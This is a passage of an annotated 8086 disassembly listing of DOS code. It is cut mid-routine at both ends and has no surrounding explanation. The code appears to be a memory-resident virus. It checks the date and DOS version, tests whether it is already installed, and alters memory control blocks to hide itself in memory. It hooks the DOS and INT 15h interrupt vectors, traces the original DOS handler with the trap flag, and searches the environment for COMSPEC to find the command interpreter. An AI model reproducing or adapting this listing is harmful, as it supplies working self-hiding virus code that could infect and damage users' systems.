  2136.     jnz    H0000_D010        ;0CFF5    7519        u
  2137.     cmp    ah,30h            ;0CFF7    80FC30          0
  2138.     jnz    H0000_D017        ;0CFFA    751B        u
  2139.     push    cx            ;0CFFC    51        Q
  2140.     push    dx            ;0CFFD    52        R
  2141.     mov    ah,2Ah            ;0CFFE    B42A         *
  2142.     call    H0000_C863        ;0D000    E860F8         `
  2143.  
  2144.     pop    bx            ;0D003    5B        [
  2145.     pop    bp            ;0D004    5D        ]
  2146.     mov    ax,0C47h        ;0D005    B8470C         G
  2147.     cmp    bp,cx            ;0D008    3BE9        ;
  2148.     jnz    H0000_D013        ;0D00A    7507        u
  2149.     cmp    bx,dx            ;0D00C    3BDA        ;
  2150.     jnz    H0000_D013        ;0D00E    7503        u
  2151. H0000_D010:
  2152.     mov    ax,0D0Eh        ;0D010    B80E0D
  2153. H0000_D013:
  2154.  
  2155. ;SEG: CS Override
  2156.     mov    Word Ptr cs:[0487h],ax    ;0D013    2EA38704    .
  2157. H0000_D017:
  2158.     jmp    Short H0000_CFC8    ;0D017    EBAF
  2159. ;---------------------------------------
  2160. ;MEM: Unreferenced Code
  2161.     db    "PSV"            ;0D019    505356
  2162.     dw    00E8h            ;0D01C    E800
  2163.     dw    5E00h            ;0D01E    005E         ^
  2164.     db    8Bh            ;0D020
  2165.     dw    36DCh            ;0D021    DC36         6
  2166.     db    8Bh            ;0D023
  2167.     db    "G"            ;0D024    47
  2168.     dw    3D08h            ;0D025    083D         =
  2169.     dw    0110h            ;0D027    1001
  2170.     db    "w"            ;0D029    77
  2171.     db    13h            ;0D02A
  2172.     db    "."            ;0D02B    2E
  2173.     db    89h            ;0D02C
  2174.     db    "D?6"            ;0D02D    443F36
  2175.     db    8Bh            ;0D030
  2176.     db    "G"            ;0D031    47
  2177.     dw    2E06h            ;0D032    062E         .
  2178.     db    89h            ;0D034
  2179.     db    "D=6"            ;0D035    443D36
  2180.     dw    6780h            ;0D038    8067         g
  2181.     db    0Bh            ;0D03A
  2182.     dw    0EBFEh            ;0D03B    FEEB
  2183.     dw    0E18h            ;0D03D    180E
  2184.     db    "X6;G"            ;0D03F    58363B47
  2185.     dw    7408h            ;0D043    0874         t
  2186.     dw    3610h            ;0D045    1036         6
  2187.     db    8Bh            ;0D047
  2188.     db    "G"            ;0D048    47
  2189.     dw    2E08h            ;0D049    082E         .
  2190.     db    89h            ;0D04B
  2191.     db    "DG6"            ;0D04C    444736
  2192.     db    8Bh            ;0D04F
  2193.     db    "G"            ;0D050    47
  2194.     dw    2E06h            ;0D051    062E         .
  2195.     db    89h            ;0D053
  2196.     db    "DE^[X"         ;0D054    44455E5B
  2197.     db    0CFh            ;0D059
  2198.     db    "CH"            ;0D05A    4348
  2199.     dw    109Eh            ;0D05C    9E10
  2200.     dw    0110h            ;0D05E    1001
  2201.     db    "F2F-SY"        ;0D060    4632462D
  2202.     dw    0000h            ;0D066    0000
  2203.     db    "PMRJKZHA\*.*"        ;0D068    504D524A
  2204.     dw    0C900h            ;0D074    00C9
  2205.     dw    4D00h            ;0D076    004D         M
  2206.     db    02h            ;0D078
  2207. ;---------------------------------------
  2208. H0000_D079:
  2209. ;---------------------------------------
  2210. ;MEM: Possible Data Area
  2211. ;A    call    H0000_D07C        ;0D079    E80000
  2212.        db      0E8h,00h,00h
  2213.  
  2214. H0000_D07C:
  2215.     pop    si            ;0D07C    5E        ^
  2216.     mov    ah,2Ah            ;0D07D    B42A         *
  2217.  
  2218. ;SEG: CS Override
  2219.     mov    cs:[si+02D4h],es    ;0D07F    2E8C84D402    .
  2220.  
  2221. ;DOS1-SYS Get Date (CX=Year, DX=Month/Day, AL=Day of Week (0=Sun))
  2222. ;INT: 21h  ah=2Ah
  2223.     int    21h            ;0D084    CD21         !
  2224.     mov    al,72h            ;0D086    B072         r
  2225.     cmp    dx,0504h        ;0D088    81FA0405
  2226.     jb    H0000_D094        ;0D08C    7206        r
  2227.     cmp    cx,07C9h        ;0D08E    81F9C907
  2228.     jnb    H0000_D096        ;0D092    7302        s
  2229. H0000_D094:
  2230.     mov    al,0EBh         ;0D094    B0EB
  2231. H0000_D096:
  2232.  
  2233. ;SEG: CS Override
  2234.     mov    cs:[si+0F44Dh],al    ;0D096    2E88844DF4    .  M
  2235.     mov    ah,30h            ;0D09B    B430         0
  2236.     cld                ;0D09D    FC
  2237.  
  2238. ;DOS2-SYS Get AX DOS Version Number
  2239. ;INT: 21h  ah=30h al=2Ah
  2240.     int    21h            ;0D09E    CD21         !
  2241.     xchg    al,ah            ;0D0A0    86C4
  2242.     cmp    ax,031Dh        ;0D0A2    3D1D03        =
  2243.     ja    H0000_D0AA        ;0D0A5    7703        w
  2244. H0000_D0A7:
  2245.     jmp    H0000_D336        ;0D0A7    E98C02
  2246. ;---------------------------------------
  2247. H0000_D0AA:
  2248.     mov    ax,0F1E9h        ;0D0AA    B8E9F1
  2249.  
  2250. ;DOSX-DOS SERVICES - INT 21h, AH=Func
  2251. ;INT: 21h  ax=F1E9h
  2252.     int    21h            ;0D0AD    CD21         !
  2253.     cmp    ax,0CADEh        ;0D0AF    3DDECA        =
  2254.     jz    H0000_D0A7        ;0D0B2    74F3        t
  2255.     xor    di,di            ;0D0B4    33FF        3
  2256.     mov    ax,0040h        ;0D0B6    B84000         @
  2257.  
  2258. ;SEG: DS Change - 0040h
  2259.     mov    ds,ax            ;0D0B9    8ED8
  2260.     mov    bp,[di+13h]        ;0D0BB    8B6D13         m
  2261.     mov    cl,06h            ;0D0BE    B106
  2262.     sal    bp,cl            ;0D0C0    D3E5
  2263.     mov    ah,62h            ;0D0C2    B462         b
  2264.  
  2265. ;DOS3-SYS Get BX PSP
  2266. ;INT: 21h  ax=6240h cl=06h ds=0040h di=0000h
  2267.     int    21h            ;0D0C4    CD21         !
  2268.  
  2269. ;SEG: DS Change - Indefinite
  2270.     mov    ds,bx            ;0D0C6    8EDB
  2271.     push    [di+2Ch]        ;0D0C8    FF752C         u,
  2272.     push    ds            ;0D0CB    1E
  2273.     mov    cl,90h            ;0D0CC    B190
  2274.     mov    ax,5800h        ;0D0CE    B80058          X
  2275.  
  2276. ;DOS3-MEM Get Memory Alloc Strategy (AX=0 1st, 1 best, 2 last fit)
  2277. ;INT: 21h  ax=5800h cl=90h di=0000h
  2278.     int    21h            ;0D0D1    CD21         !
  2279.     xor    ah,ah            ;0D0D3    32E4        2
  2280.     push    ax            ;0D0D5    50        P
  2281.     mov    ax,5801h        ;0D0D6    B80158          X
  2282.     mov    bx,0080h        ;0D0D9    BB8000
  2283.  
  2284. ;DOS3-MEM Set BX Memory Alloc Strategy [0 1st, 1 best, 2 last fit]
  2285. ;INT: 21h  ax=5801h bx=0080h cl=90h di=0000h
  2286.     int    21h            ;0D0DC    CD21         !
  2287.     mov    ax,5802h        ;0D0DE    B80258          X
  2288.  
  2289. ;DOS3-MEM Get/Set Memory Alloc Strategy
  2290. ;INT: 21h  ax=5802h bx=0080h cl=90h di=0000h
  2291.     int    21h            ;0D0E1    CD21         !
  2292.     xor    ah,ah            ;0D0E3    32E4        2
  2293.     push    ax            ;0D0E5    50        P
  2294.     mov    ax,5803h        ;0D0E6    B80358          X
  2295.     mov    bx,0001h        ;0D0E9    BB0100
  2296.  
  2297. ;DOS3-MEM Get/Set Memory Alloc Strategy
  2298. ;INT: 21h  ax=5803h bx=0001h cl=90h di=0000h
  2299.     int    21h            ;0D0EC    CD21         !
  2300.     jb    H0000_D108        ;0D0EE    7218        r
  2301.     mov    ah,48h            ;0D0F0    B448         H
  2302.     mov    bx,0FFFFh        ;0D0F2    BBFFFF
  2303.  
  2304. ;DOS2-MEM Alloc BX=#Paras Memory (AX=Segment, BX=#Paras)
  2305. ;INT: 21h  ax=4803h bx=FFFFh cl=90h di=0000h
  2306.     int    21h            ;0D0F5    CD21         !
  2307.     mov    ah,48h            ;0D0F7    B448         H
  2308.  
  2309. ;DOS2-MEM Alloc BX=#Paras Memory (AX=Segment, BX=#Paras)
  2310. ;INT: 21h  ax=4803h bx=FFFFh cl=90h di=0000h
  2311.     int    21h            ;0D0F9    CD21         !
  2312.  
  2313. ;SEG: ES Change - 4803h
  2314.     mov    es,ax            ;0D0FB    8EC0
  2315.     cmp    ax,bp            ;0D0FD    3BC5        ;
  2316.     jnb    H0000_D135        ;0D0FF    7334        s4
  2317.     dec    ax            ;0D101    48        H
  2318.  
  2319. ;SEG: ES Change - 4802h
  2320.     mov    es,ax            ;0D102    8EC0
  2321.  
  2322. ;SEG: ES Override
  2323.     mov    es:[di+01h],di        ;0D104    26897D01    & }
  2324. H0000_D108:
  2325.     mov    ax,4300h        ;0D108    B80043          C
  2326.  
  2327. ;DOS3-MUL Mltplx/Splr, AX=Proc/Func
  2328. ;INT: 2Fh  ax=4300h bx=FFFFh cl=90h es=4802h di=0000h
  2329.     int    2Fh            ;0D10B    CD2F         /
  2330.     cmp    al,80h            ;0D10D    3C80        <
  2331.     jnz    H0000_D152        ;0D10F    7541        uA
  2332.     mov    ax,4310h        ;0D111    B81043          C
  2333.  
  2334. ;DOS3-MUL Mltplx/Splr, AX=Proc/Func
  2335. ;INT: 2Fh  ax=4310h bx=FFFFh cl=90h es=4802h di=0000h
  2336.     int    2Fh            ;0D114    CD2F         /
  2337.     push    cs            ;0D116    0E
  2338.  
  2339. ;SEG: DS Change - 0000h
  2340.     pop    ds            ;0D117    1F
  2341.  
  2342. ;SEG: SP Change - Indefinite
  2343.     mov    [si-07h],bx        ;0D118    895CF9         \
  2344.     mov    [si-05h],es        ;0D11B    8C44FB         D
  2345.     mov    ah,10h            ;0D11E    B410
  2346.     mov    dx,0FFFFh        ;0D120    BAFFFF
  2347.  
  2348. ;MEM: CALL  DWORD PTR [SI-07H]
  2349.  
  2350. ;SEG: SP Change - Indefinite
  2351. ; ax=1010h bx=FFFFh cl=90h dx=FFFFh ds=0000h es=4802h di=0000h
  2352.     call    DWord Ptr [si-07h]    ;0D123    FF5CF9         \
  2353.  
  2354.     cmp    bl,0B0h         ;0D126    80FBB0
  2355.     jnz    H0000_D152        ;0D129    7527        u'
  2356.     mov    ah,10h            ;0D12B    B410
  2357.  
  2358. ;MEM: CALL  DWORD PTR [SI-07H]
  2359.  
  2360. ;SEG: SP Change - Indefinite
  2361. ; ah=10h
  2362.     call    DWord Ptr [si-07h]    ;0D12D    FF5CF9         \
  2363.  
  2364.     dec    ax            ;0D130    48        H
  2365.     jnz    H0000_D152        ;0D131    751F        u
  2366.  
  2367. ;SEG: ES Change - Indefinite
  2368.     mov    es,bx            ;0D133    8EC3
  2369. H0000_D135:
  2370.     mov    cl,0C3h         ;0D135    B1C3
  2371.     mov    ax,es            ;0D137    8CC0
  2372.     dec    ax            ;0D139    48        H
  2373.  
  2374. ;SEG: DS Change - Indefinite
  2375.     mov    ds,ax            ;0D13A    8ED8
  2376.     mov    Byte Ptr [di],5Ah    ;0D13C    C6055A          Z
  2377.     mov    [di+01h],di        ;0D13F    897D01         }
  2378.     sub    Word Ptr [di+03h],010Ch ;0D142    816D030C01     m
  2379.     call    H0000_CEAF        ;0D147    E865FD         e
  2380.  
  2381. ;SEG: SP Change - Indefinite
  2382. ;SEG: CS Override
  2383.     mov    cs:[si+0177h],ax    ;0D14A    2E89847701    .  w
  2384.     inc    ax            ;0D14F    40        @
  2385.  
  2386. ;SEG: ES Change - Indefinite
  2387.     mov    es,ax            ;0D150    8EC0
  2388. H0000_D152:
  2389.     pop    bx            ;0D152    5B        [
  2390.     mov    ax,5803h        ;0D153    B80358          X
  2391.  
  2392. ;DOS3-MEM Get/Set Memory Alloc Strategy
  2393. ;INT: 21h  ax=5803h
  2394.     int    21h            ;0D156    CD21         !
  2395.     pop    bx            ;0D158    5B        [
  2396.     mov    ax,5801h        ;0D159    B80158          X
  2397.  
  2398. ;DOS3-MEM Set BX Memory Alloc Strategy [0 1st, 1 best, 2 last fit]
  2399. ;INT: 21h  ax=5801h
  2400.     int    21h            ;0D15C    CD21         !
  2401.  
  2402. ;SEG: DS Change - Indefinite
  2403.     pop    ds            ;0D15E    1F
  2404.  
  2405. ;SEG: CS Override
  2406.     mov    cs:[si+0FE14h],cl    ;0D15F    2E888C14FE    .
  2407.     cmp    cl,90h            ;0D164    80F990
  2408.     jnz    H0000_D185        ;0D167    751C        u
  2409.     push    ds            ;0D169    1E
  2410.  
  2411. ;SEG: ES Change - Indefinite
  2412.     pop    es            ;0D16A    07
  2413.     mov    bx,0FFFFh        ;0D16B    BBFFFF
  2414.     mov    ah,4Ah            ;0D16E    B44A         J
  2415.  
  2416. ;DOS2-MEM Set ES Memory Block, BX=#Paras (BX=#Paras)
  2417. ;INT: 21h  ax=4A01h bx=FFFFh cl=58h
  2418.     int    21h            ;0D170    CD21         !
  2419.     mov    ax,010Ch        ;0D172    B80C01
  2420.     sub    [di+02h],ax        ;0D175    294502        )E
  2421.     sub    bx,ax            ;0D178    2BD8        +
  2422.     mov    ah,4Ah            ;0D17A    B44A         J
  2423.  
  2424. ;DOS2-MEM Set ES Memory Block, BX=#Paras (BX=#Paras)
  2425. ;INT: 21h  ax=4A0Ch cl=58h
  2426.     int    21h            ;0D17C    CD21         !
  2427.     mov    ax,ds            ;0D17E    8CD8
  2428.     inc    ax            ;0D180    40        @
  2429.     add    ax,bx            ;0D181    03C3
  2430.  
  2431. ;SEG: ES Change - Indefinite
  2432.     mov    es,ax            ;0D183    8EC0
  2433. H0000_D185:
  2434.     push    si            ;0D185    56        V
  2435.     push    cs            ;0D186    0E
  2436.  
  2437. ;SEG: DS Change - 0000h
  2438.     pop    ds            ;0D187    1F
  2439.     sub    si,0C0Dh        ;0D188    81EE0D0C
  2440.     mov    cx,0F80h        ;0D18C    B9800F
  2441.     mov    di,00CDh        ;0D18F    BFCD00
  2442.  
  2443. ; cx=0F80h ds=0000h di=00CDh
  2444.     rep    movsb            ;0D192    F3A4
  2445.  
  2446. ;ASM: Synonym
  2447. ;A    add    di,+20h         ;0D194    83C720
  2448.        db      83h,0C7h,20h
  2449.  
  2450. ;ASM: Synonym
  2451. ;A    sub    si,+35h         ;0D197    83EE35          5
  2452.        db      83h,0EEh,35h
  2453.  
  2454.     mov    cx,0035h        ;0D19A    B93500         5
  2455.  
  2456. ; cx=0035h ds=0000h
  2457.     rep    movsb            ;0D19D    F3A4
  2458.     pop    si            ;0D19F    5E        ^
  2459.     push    es            ;0D1A0    06
  2460.     mov    ax,3521h        ;0D1A1    B82135         !5
  2461.  
  2462. ;DOS2-SYS Get AL Interrupt Vector in ES:BX
  2463. ;INT: 21h  ax=3521h cx=0035h ds=0000h
  2464.     int    21h            ;0D1A4    CD21         !
  2465.  
  2466. ;SEG: DS Change - Indefinite
  2467.     pop    ds            ;0D1A6    1F
  2468.     cwd                ;0D1A7    99
  2469.     mov    di,0C47h        ;0D1A8    BF470C         G
  2470.     mov    [di],dx         ;0D1AB    8915
  2471.     mov    ds:[0487h],di        ;0D1AD    893E8704     >
  2472.     mov    di,0082h        ;0D1B1    BF8200
  2473.     mov    [di+06h],es        ;0D1B4    8C4506         E
  2474.     mov    [di+04h],bx        ;0D1B7    895D04         ]
  2475.     mov    [di+16h],es        ;0D1BA    8C4516         E
  2476.     mov    [di+14h],bx        ;0D1BD    895D14         ]
  2477.     mov    al,15h            ;0D1C0    B015
  2478.  
  2479. ;DOS2-SYS Get AL Interrupt Vector in ES:BX
  2480. ;INT: 21h  ax=3515h cx=0035h di=0082h
  2481.     int    21h            ;0D1C2    CD21         !
  2482.     mov    [di+18h],bx        ;0D1C4    895D18         ]
  2483.     mov    [di+1Ah],es        ;0D1C7    8C451A         E
  2484.     call    H0000_CE81        ;0D1CA    E8B4FC
  2485.  
  2486.     xor    cx,cx            ;0D1CD    33C9        3
  2487.     call    H0000_CEB8        ;0D1CF    E8E6FC
  2488.  
  2489. ;SEG: CS Override
  2490.     mov    cs:[si-55h],es        ;0D1D2    2E8C44AB    . D
  2491. H0000_D1D6:
  2492.     or    cx,cx            ;0D1D6    0BC9
  2493.     jnz    H0000_D1E5        ;0D1D8    750B        u
  2494.     mov    ax,ds            ;0D1DA    8CD8
  2495.     inc    ax            ;0D1DC    40        @
  2496.     cmp    ax,[di+01h]        ;0D1DD    3B4501        ;E
  2497.     jnz    H0000_D1E5        ;0D1E0    7503        u
  2498.     mov    cx,ax            ;0D1E2    8BC8
  2499.     push    ds            ;0D1E4    1E
  2500. H0000_D1E5:
  2501.  
  2502. ;SEG: CS Override
  2503.     cmp    Byte Ptr cs:[si+0FE14h],90h
  2504.                     ;0D1E5    2E80BC14FE90    .
  2505.     jz    H0000_D1F7        ;0D1EB    740A        t
  2506.     cmp    Byte Ptr [di],5Ah    ;0D1ED    803D5A         =Z
  2507.     jnz    H0000_D207        ;0D1F0    7515        u
  2508.     mov    ax,0EEF4h        ;0D1F2    B8F4EE
  2509.     jmp    Short H0000_D215    ;0D1F5    EB1E
  2510. ;- - - - - - - - - - - - - - - - - - - -
  2511. H0000_D1F7:
  2512.     cmp    Word Ptr [di+0139h],0C402h
  2513.                     ;0D1F7    81BD390102C4      9
  2514.     jnz    H0000_D207        ;0D1FD    7508        u
  2515.     cmp    Word Ptr [di+013Bh],0F24h
  2516.                     ;0D1FF    81BD3B01240F      ; $
  2517.     jz    H0000_D20E        ;0D205    7407        t
  2518. H0000_D207:
  2519.     push    ds            ;0D207    1E
  2520.  
  2521. ;SEG: ES Change - Indefinite
  2522.     pop    es            ;0D208    07
  2523.     call    H0000_CEAF        ;0D209    E8A3FC
  2524.  
  2525.     jmp    Short H0000_D1D6    ;0D20C    EBC8
  2526. ;---------------------------------------
  2527. H0000_D20E:
  2528.  
  2529. ;SEG: ES Override
  2530.     mov    Byte Ptr es:[di],5Ah    ;0D20E    26C6055A    &  Z
  2531.     mov    [di+01h],cx        ;0D212    894D01         M
  2532. H0000_D215:
  2533.     pop    cx            ;0D215    59        Y
  2534.     inc    cx            ;0D216    41        A
  2535.     inc    ax            ;0D217    40        @
  2536.  
  2537. ;SEG: DS Change - Indefinite
  2538.     mov    ds,cx            ;0D218    8ED9
  2539.  
  2540. ;SEG: SP Change - Indefinite
  2541. ;SEG: CS Override
  2542.     mov    cs:[si+0201h],cx    ;0D21A    2E898C0102    .
  2543.  
  2544. ;SEG: SP Change - Indefinite
  2545. ;SEG: CS Override
  2546.     mov    cs:[si+023Fh],cx    ;0D21F    2E898C3F02    .  ?
  2547.  
  2548. ;SEG: SP Change - Indefinite
  2549. ;SEG: CS Override
  2550.     mov    cs:[si+028Bh],cx    ;0D224    2E898C8B02    .
  2551.     call    H0000_D3A9        ;0D229    E87D01         }
  2552.  
  2553.     mov    di,004Eh        ;0D22C    BF4E00         N
  2554.     call    H0000_D3AE        ;0D22F    E87C01         |
  2555.  
  2556.     mov    Word Ptr [di+06h],0BBDh ;0D232    C74506BD0B     E
  2557.     push    ax            ;0D237    50        P
  2558.     push    cs            ;0D238    0E
  2559.  
  2560. ;SEG: DS Change - 0000h
  2561.     pop    ds            ;0D239    1F
  2562.  
  2563. ;ASM: Synonym
  2564. ;A    mov    Word Ptr [si-16h],Word Ptr 0000h
  2565.                     ;0D23A    C744EA0000     D
  2566.        db      0C7h,44h,0EAh,00h,00h
  2567.  
  2568.     push    ax            ;0D23F    50        P
  2569.     mov    ax,3501h        ;0D240    B80135          5
  2570.  
  2571. ;DOS2-SYS Get AL Interrupt Vector in ES:BX
  2572. ;INT: 21h  ax=3501h ds=0000h
  2573.     int    21h            ;0D243    CD21         !
  2574.     mov    di,bx            ;0D245    8BFB
  2575.     mov    bp,es            ;0D247    8CC5
  2576.     mov    ah,25h            ;0D249    B425         %
  2577.  
  2578. ;SEG: SP Change - Indefinite
  2579.     lea    dx,[si-63h]        ;0D24B    8D549D         T
  2580.  
  2581. ;DOS1-SYS Set AL Interrupt Vector in DS:DX
  2582. ;INT: 21h  ax=2501h ds=0000h
  2583.     int    21h            ;0D24E    CD21         !
  2584.  
  2585. ;SEG: ES Change - Indefinite
  2586.     pop    es            ;0D250    07
  2587.     pushf                ;0D251    9C
  2588.     pop    ax            ;0D252    58        X
  2589.     or    ah,01h            ;0D253    80CC01
  2590.     push    ax            ;0D256    50        P
  2591.     popf                ;0D257    9D
  2592.     mov    ah,30h            ;0D258    B430         0
  2593.     pushf                ;0D25A    9C
  2594.  
  2595. ;MEM: CALL  DWORD PTR ES:[0086H]
  2596.  
  2597. ; ah=30h al=01h ds=0000h
  2598.     call    DWord Ptr es:[0086h]    ;0D25B    26FF1E8600    &
  2599.  
  2600.     mov    ax,2501h        ;0D260    B80125          %
  2601.     mov    dx,di            ;0D263    8BD7
  2602.  
  2603. ;SEG: DS Change - Indefinite
  2604.     mov    ds,bp            ;0D265    8EDD
  2605.  
  2606. ;DOS1-SYS Set AL Interrupt Vector in DS:DX
  2607. ;INT: 21h  ax=2501h
  2608.     int    21h            ;0D267    CD21         !
  2609.     push    cs            ;0D269    0E
  2610.  
  2611. ;SEG: DS Change - 0000h
  2612.     pop    ds            ;0D26A    1F
  2613.     push    si            ;0D26B    56        V
  2614.  
  2615. ;ASM: Synonym
  2616. ;A    add    si,-20h         ;0D26C    83C6E0
  2617.        db      83h,0C6h,0E0h
  2618.  
  2619.     mov    di,0086h        ;0D26F    BF8600
  2620.     movsw                ;0D272    A5
  2621.     movsw                ;0D273    A5
  2622.     pop    si            ;0D274    5E        ^
  2623.     mov    ax,[si-16h]        ;0D275    8B44EA         D
  2624.     or    ax,ax            ;0D278    0BC0
  2625.     jnz    H0000_D28B        ;0D27A    750F        u
  2626. H0000_D27C:
  2627.     mov    ax,0C2Ah        ;0D27C    B82A0C         *
  2628.  
  2629. ;SEG: DS Change - 0C2Ah
  2630.     mov    ds,ax            ;0D27F    8ED8
  2631.     mov    dx,0005h        ;0D281    BA0500
  2632.     mov    ax,2521h        ;0D284    B82125         !%
  2633.  
  2634. ;DOS1-SYS Set AL Interrupt Vector in DS:DX
  2635. ;INT: 21h  ax=2521h dx=0005h ds=0C2Ah di=0086h
  2636.     int    21h            ;0D287    CD21         !
  2637.     jmp    Short H0000_D2C6    ;0D289    EB3B         ;
  2638. ;- - - - - - - - - - - - - - - - - - - -
  2639. H0000_D28B:
  2640.     xor    bx,bx            ;0D28B    33DB        3
  2641.     dec    ax            ;0D28D    48        H
  2642.     call    H0000_D391        ;0D28E    E80001
  2643.  
  2644.     jz    H0000_D29B        ;0D291    7408        t
  2645.  
  2646. ;ASM: Synonym
  2647. ;A    sub    ax,Word Ptr 0010h    ;0D293    2D1000        -
  2648.        db      2Dh,10h,00h
  2649.  
  2650.     call    H0000_D391        ;0D296    E8F800
  2651.  
  2652.     jnz    H0000_D27C        ;0D299    75E1        u
  2653. H0000_D29B:
  2654.     cli                ;0D29B    FA
  2655.     mov    bp,ds            ;0D29C    8CDD
  2656. H0000_D29E:
  2657.     inc    bp            ;0D29E    45        E
  2658.  
  2659. ;SEG: DS Change - Indefinite
  2660.     mov    ds,bp            ;0D29F    8EDD
  2661.     xor    bx,bx            ;0D2A1    33DB        3
  2662. H0000_D2A3:
  2663.  
  2664. ;SEG: CS Override
  2665.     mov    ax,cs:[si-20h]        ;0D2A3    2E8B44E0    . D
  2666.     cmp    ax,[bx]         ;0D2A7    3B07        ;
  2667.     jnz    H0000_D2BD        ;0D2A9    7512        u
  2668.  
  2669. ;SEG: CS Override
  2670.     mov    ax,cs:[si-1Eh]        ;0D2AB    2E8B44E2    . D
  2671.     cmp    ax,[bx+02h]        ;0D2AF    3B4702        ;G
  2672.     jnz    H0000_D2BD        ;0D2B2    7509        u
  2673.  
  2674. ;ASM: Synonym
  2675. ;A    mov    Word Ptr [bx],Word Ptr 0005h
  2676.                     ;0D2B4    C7070500
  2677.        db      0C7h,07h,05h,00h
  2678.  
  2679.     mov    Word Ptr [bx+02h],0C2Ah ;0D2B8    C747022A0C     G *
  2680. H0000_D2BD:
  2681.     inc    bx            ;0D2BD    43        C
  2682.     cmp    bl,10h            ;0D2BE    80FB10
  2683.     jnz    H0000_D2A3        ;0D2C1    75E0        u
  2684.     loop    H0000_D29E        ;0D2C3    E2D9
  2685.     sti                ;0D2C5    FB
  2686. H0000_D2C6:
  2687.  
  2688. ;SEG: ES Change - Indefinite
  2689.     pop    es            ;0D2C6    07
  2690.     push    cs            ;0D2C7    0E
  2691.  
  2692. ;SEG: DS Change - 0000h
  2693.     pop    ds            ;0D2C8    1F
  2694.     mov    ah,1Ah            ;0D2C9    B41A
  2695.  
  2696. ;SEG: SP Change - Indefinite
  2697.     lea    dx,[si+0373h]        ;0D2CB    8D947303      s
  2698.     mov    bx,dx            ;0D2CF    8BDA
  2699.  
  2700. ;DOS1-DSK Set DTA in DS:DX (default is 0080h in PSP)
  2701. ;INT: 21h  ah=1Ah ds=0000h
  2702.     int    21h            ;0D2D1    CD21         !
  2703.     mov    ah,4Eh            ;0D2D3    B44E         N
  2704.     mov    cx,0008h        ;0D2D5    B90800
  2705.  
  2706. ;SEG: SP Change - Indefinite
  2707.     lea    dx,[si-0Ch]        ;0D2D8    8D54F4         T
  2708.  
  2709. ;DOS2-DSK Find First DS:DX File, CL=Attr
  2710. ;INT: 21h  ah=4Eh cx=0008h ds=0000h
  2711.     int    21h            ;0D2DB    CD21         !
  2712.     mov    ax,[bx+16h]        ;0D2DD    8B4716         G
  2713.     mov    cx,[bx+18h]        ;0D2E0    8B4F18         O
  2714.     cmp    ax,6F55h        ;0D2E3    3D556F        =Uo
  2715.     jnz    H0000_D2EE        ;0D2E6    7506        u
  2716.     cmp    cx,1981h        ;0D2E8    81F98119
  2717.     jz    H0000_D2F4        ;0D2EC    7406        t
  2718. H0000_D2EE:
  2719.  
  2720. ;SEG: ES Override
  2721.     mov    Byte Ptr es:[0127h],0EBh;0D2EE    26C6062701EB    &  '
  2722. H0000_D2F4:
  2723.  
  2724. ;SEG: ES Override
  2725.     mov    Word Ptr es:[0F42h],ax    ;0D2F4    26A3420F    & B
  2726.  
  2727. ;SEG: ES Override
  2728.     mov    es:[0F48h],cx        ;0D2F8    26890E480F    &  H
  2729.     push    es            ;0D2FD    06
  2730.  
  2731. ;SEG: DS Change - Indefinite
  2732.     pop    ds            ;0D2FE    1F
  2733.     cmp    Byte Ptr ds:[0127h],0EBh;0D2FF    803E2701EB     >'
  2734.     jz    H0000_D313        ;0D304    740D        t
  2735.     mov    bx,0C2Ah        ;0D306    BB2A0C         *
  2736.  
  2737. ;SEG: DS Change - 0C2Ah
  2738.     mov    ds,bx            ;0D309    8EDB
  2739.     mov    ax,2515h        ;0D30B    B81525          %
  2740.     mov    dx,0053h        ;0D30E    BA5300         S
  2741.  
  2742. ;DOS1-SYS Set AL Interrupt Vector in DS:DX
  2743. ;INT: 21h  ax=2515h bx=0C2Ah cx=0008h dx=0053h ds=0C2Ah
  2744.     int    21h            ;0D311    CD21         !
  2745. H0000_D313:
  2746.  
  2747. ;SEG: DS Change - Indefinite
  2748.     pop    ds            ;0D313    1F
  2749.     xor    bx,bx            ;0D314    33DB        3
  2750. H0000_D316:
  2751.     cmp    Word Ptr [bx],4F43h    ;0D316    813F434F     ?CO
  2752.     jnz    H0000_D323        ;0D31A    7507        u
  2753.     cmp    Word Ptr [bx+06h],3D43h ;0D31C    817F06433D       C=
  2754.     jz    H0000_D32B        ;0D321    7408        t
  2755. H0000_D323:
  2756.     inc    bx            ;0D323    43        C
  2757.     cmp    bh,08h            ;0D324    80FF08
  2758.     jnz    H0000_D316        ;0D327    75ED        u
  2759.     jmp    Short H0000_D336    ;0D329    EB0B
  2760. ;- - - - - - - - - - - - - - - - - - - -
  2761. H0000_D32B:
  2762.     lea    dx,[bx+08h]        ;0D32B    8D5708         W
  2763.     mov    ax,4300h        ;0D32E    B80043          C
  2764.     mov    bx,0FACEh        ;0D331    BBCEFA
  2765.  
  2766. ;DOS2-DSK CHMOD Get/Set DS:DX File CL Attrs: AL: 00=Get 01=Set
  2767. ;INT: 21h  ax=4300h bx=FACEh cx=0008h dx=0053h
  2768.     int    21h            ;0D334    CD21         !
  2769. H0000_D336:
  2770.  
  2771. ;MEM: Possible Data Area
  2772. ;A    call    H0000_D339        ;0D336    E80000
  2773.        db      0E8h,00h,00h
  2774.  
  2775. H0000_D339:
  2776.     pop    si            ;0D339    5E        ^
  2777.     xor    ax,ax            ;0D33A    33C0        3
  2778.  
  2779. ;SEG: SP Change - Indefinite
  2780.     lea    di,[si+0F136h]        ;0D33C    8DBC36F1      6
  2781.     mov    cx,076Bh        ;0D340    B96B07         k
  2782.     push    cs            ;0D343    0E
  2783.  
  2784. ;SEG: ES Change - 0000h
  2785.     pop    es            ;0D344    07
  2786.  
  2787. ; ax=0000h cx=076Bh es=0000h
  2788.     rep    stosw            ;0D345    F3AB
  2789.  
  2790. ;ASM: Synonym
  2791. ;A    add    di,+4Dh         ;0D347    83C74D          M
  2792.        db      83h,0C7h,4Dh
  2793.  
  2794.     mov    cx,005Eh        ;0D34A    B95E00         ^
  2795.  
  2796. ; ax=0000h cx=005Eh es=0000h
  2797.     rep    stosb            ;0D34D    F3AA
  2798.     mov    bx,12A8h        ;0D34F    BBA812
  2799.  
  2800. ;SEG: DS Change - 12A8h
  2801.     mov    ds,bx            ;0D352    8EDB
  2802.     push    ds            ;0D354    1E
  2803.  
  2804. ;SEG: ES Change - 12A8h
  2805.     pop    es            ;0D355    07
  2806.     mov    dx,0080h        ;0D356    BA8000
  2807.     mov    ah,1Ah            ;0D359    B41A
  2808.  
  2809. ;DOS1-DSK Set DTA in DS:DX (default is 0080h in PSP)
  2810. ;INT: 21h  ax=1A00h bx=12A8h cx=005Eh dx=0080h ds=12A8h es=12A8h
  2811.     int    21h            ;0D35B    CD21         !
  2812.     mov    al,01h            ;0D35D    B001
